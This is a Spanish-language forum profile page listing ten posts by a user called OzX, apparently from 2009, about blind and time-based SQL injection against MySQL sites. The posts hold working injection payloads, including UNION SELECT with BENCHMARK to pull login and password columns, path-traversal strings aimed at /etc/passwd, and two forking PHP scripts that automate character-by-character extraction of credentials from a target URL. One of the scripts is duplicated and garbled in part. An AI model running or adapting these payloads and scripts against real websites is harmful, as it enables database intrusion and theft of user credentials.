Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - OzX

#91
es MSSQL? o Mysql? o Postgresql?
#92
prova lo siguiente

OK
+and+(select+database())+--+

ERROR
+and+(select+databace())+--+

Dime hay algun cambio drastico al poner las dos?
Osea podria encontrar alguna diferencia en cuanto a tiempo de carga, redireccion, o error, en cuando pones una inyeccion valida y otra invalida. databace no existe xD¡.

Saludos¡
#93
Esta enfocado para linux , el server donde estaba mirando es linux.  :rolleyes:
Nose si te refieres a esto

<?
     header ("Content-Disposition: attachment; filename=".$file.";" );
     header ("Content-Type: application/force-download"); */

?>



Te envie un Priv ¡

Saludos¡ Brota¡

pd:nose si te llego el prvi me avisas

#94
Nivel Web / Re: ¿Que es file discloure?
11 Febrero 2009, 22:02 PM
por lo que yo tengo entendido, es poder obtener o incluir un archivo dentro del servidor.
LFI, o RFI.


Por ej
http://www.milw0rm.com/exploits/8027

De todas formas, me parece que tiene otro significado mas, en cuanto a demostrar una vulnerabilidad. u algo similar.

Saludos¡

#95
hi brota.

a diferencia de los otros, este esta enfocado a las webs que tienen descargar forzadas.

header( 'Content-Disposition: attachment; filename="' . $name . '"'); 

donde $name es la consulta previ para obtener el archivo desde la base de datos o del mismo servidor.

el sistema que tiene para diferencir , si un valor es verdadero o falso, es.

   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
en donde si descarge lo minimo y esto lo leo como texto (obtendre codigo ilegible ), pero se que descargo algo, hay sabre que es un valor verdadero, en cambio si es falso, este no descargara nada de nada.


if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }


nose en k tipo de vulnerabilidad blind la provaste, pero si no es de descargas forzadas, no va a funcionar.


Saludos brota¡ :D ¡
#96
Hi Brota :D


Codie esta tool para una inyeccion tipo
union+select+all+1,2,3,4,5,6,7,8,9.

Citar
http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*"

Por eso los 9 null.

Ahora voy a montar un LocalHost , con un falla de blind con los mismos datos, y posteo el code modificado y ver en k taba fallando :D.

Saludos¡

#97
Cita de: Azielito en  6 Febrero 2009, 19:38 PM
wow '_'

No se me habia ocurrido ese escenario para blind SQL injection

ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD





Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"

bueno, al parecer pense casi en todo :¬¬

jejej coool.

Cita de: Darioxhcx en  7 Febrero 2009, 20:53 PM
en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd

interesante post OzX
saludos

Hi brota, eso es LFI, brute Force. esto es Blind SQl algo bastante distinto.
Saludos¡
Cita de: EvilGoblin en  7 Febrero 2009, 20:58 PM
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^


jejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o  la nueva tecnica de obtenercion de informacion como load_file, pero con blind.

Saludos¡
#98



Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.

Web:

http://www.site.com/download.php?id=2


Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.



Citarhttp://www.site.com/download.php?id=2+and+1=0 ERROR [No Descarga]
http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga]



Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.

Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.

Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.

Citar
<?
   $x=97;
       $substring = 0;
   $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
   $url=" > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
         fwrite($f1,$info);
         fclose($f1);
         exit();
   }else{
      echo chr($ascii[$x]).chr(13);
   }
               }

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>


[/code]

Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.


$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0



Saludos ¡
OzX¡

Fuente : ).chr(13);
   }
               }

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>


[/code]

Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.


$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0



Saludos ¡
OzX¡

Fuente : [url=http://foro.undersecurity.net/read.php?5,775,776]http://foro.undersecurity.net/read.php?5,775,776
#99
Cita de: berz3k en  5 Febrero 2009, 05:57 AM

ansii(substring... etc.


duh ?

@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?

-berz3k.


jawjwajwaj XD
ascii(substring(( :D 


Código (php) [Seleccionar]

http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*


:D asi me resulto, osea asi me indentificaba las mayus de las minus.
pero logre obtener lo que queria con into out file, al tener magic quotes off y permisos Adecuados


Por si alguien le Podria Interesar o ser Util en algo, dejo el code que utilize.


Código (php) [Seleccionar]
<?
//Coded by OzX http://foro.undersecurity.net
set_time_limit (0);
error_reporting(0);

function hexsql($text){return '0x'.strtoupper(bin2hex($text));}
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
if (!$html = curl_exec($curl)) {
$html = file_get_contents($url);
}
curl_close($curl);
return $html;
}
function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}


function blind_time($limit,$file,$db,$tabla,$columna){
$ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z
47,32,0, //null, space, _, ,
        48,49,50,51,52,53,54,55,56,57, #0-9
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,      #A-Z
33,35,36,37,38,45,46 
);

for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$char = $ascii[$x];
$starttime=time();
echo "[+] ".$limit ." >>> Testing :>  ".$char."   =================>     ".chr($char)."\r\n";
$source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*");

$endtime=time();
$difftime=$endtime - $starttime;
//echo "              DIFERENCIA  -> ".$difftime."\r\n";
if ($difftime >15){
$info = $limit . ">".chr($char)."\n";
$string.= chr($char); //Obtenemos el Valor y lo Guardamos
echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}
}
}



$limit = $argv[2];
$start = $argv[1];
//$db = $argv[3];
//$tabla = $argv[4];
//$columna = $argv[5];




$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$limit;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
    blind_time($i,$file,$db,$tabla,$columna);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "TABLA :> ".$tabla."   COLUMNA :>> ".$columna."\r\n";
echo "Valor Obtenido :> ".$data."\r\n";
echo "DEBUG :>\r\n";
print_r($vars);
unlink($file);


?>


los saca como el diablo, bastante rapido, para ser un time blind, porque si se hace letra a letra se demora bastante.

Saludos¡
OzX¡

#100
lo solucione xd¡
aunque no de la mejor forma.
tenia magic quotes off, y privilegios de Y , Into OUT FIle, y ya fue historia xD¡.
de todas formas es bastante particular el time based.

Saludos¡